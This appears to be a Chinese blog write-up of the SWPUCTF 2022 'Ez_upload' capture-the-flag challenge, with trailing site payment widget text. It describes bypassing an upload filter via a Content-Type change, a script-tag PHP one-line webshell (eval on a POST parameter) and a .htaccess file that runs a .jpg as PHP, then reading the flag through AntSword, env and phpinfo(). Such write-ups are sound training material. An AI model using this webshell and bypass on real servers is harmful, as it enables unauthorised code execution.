[SWPUCTF 2022 新生赛]Ez_upload 详细题解

知识点:

文件上传 MIME绕过

script版本一句话木马

.htaccess配置文件

蚁剑虚拟终端的使用

打开题目可以文件上传

传入php文件, 提示 后缀不能是ph 所以也不能输入 phtml php3 pht等可以解析为php文件的后缀

 bp抓包把传入的php木马文件后缀手动修改为jpg图片格式 提示 你上传的什么鬼?

然后不抓包修改直接传入jpg格式的一句话木马文件,再次测试, 得到提示: 还是换个其他类型吧

提示改变了,错误程度也变轻了,所以初步判断是对MIME进行了过滤

即Content-Type 需要是jpeg 或者png等图片格式   

简单测试发现只能是jpg格式,即    Content-Type: image/jpeg    其他格式会抛出之前的错误

虽然满足了MIME类型,但是jpg图片目前也无法上传,应该对文件传入的内容也进行了过滤

把文件里的php代码全部删除,发现成功上传     进一步测试,只删除?php,发现也成功上传

只删除php,保留 <?  发现上传失败 提示  还是换个其他类型吧

得出结论,题目对 上传文件后缀  MIME类型 以及 文件内容中的<? 和 <?php 组合进行了限制

可以使用script版本的一句话木马

<script language='php'>eval($_POST['shell']);</script>    

然后上传.htaccess配置文件,即可解析上传的jpg文件中的php代码

.htaccess文件内容

<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>

 SetHandler application/x-http-php的意思是,对于名为 muma.jpg 的文件,Apache 将其作为一个 PHP 脚本来处理,当做PHP代码执行

上传.htaccess文件  修改MIME 

然后上传script一句话木马文件(上传顺序无所谓)

/var/www/html/upload/74cf45b7045c9ba3f46894576666604b/muma.jpg succesfully uploaded!
蚁剑连接


html目录没有flag文件
根目录有一个flag文件,但是里面没有flag

一般flag文件都会放在根目录下,或者当前目录,又或者藏在phpinfo()页面和环境变量中

在蚁剑中就可以查看环境变量,鼠标右键打开虚拟终端,在bash中输入env即可查看得到flag

 也可以post请求访问phpinfo()页面   post传参   shell=phpinfo();

成功访问phpinfo()页面,搜索关键词flag,得到flag

还是直接虚拟终端输入命令查看更方便

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值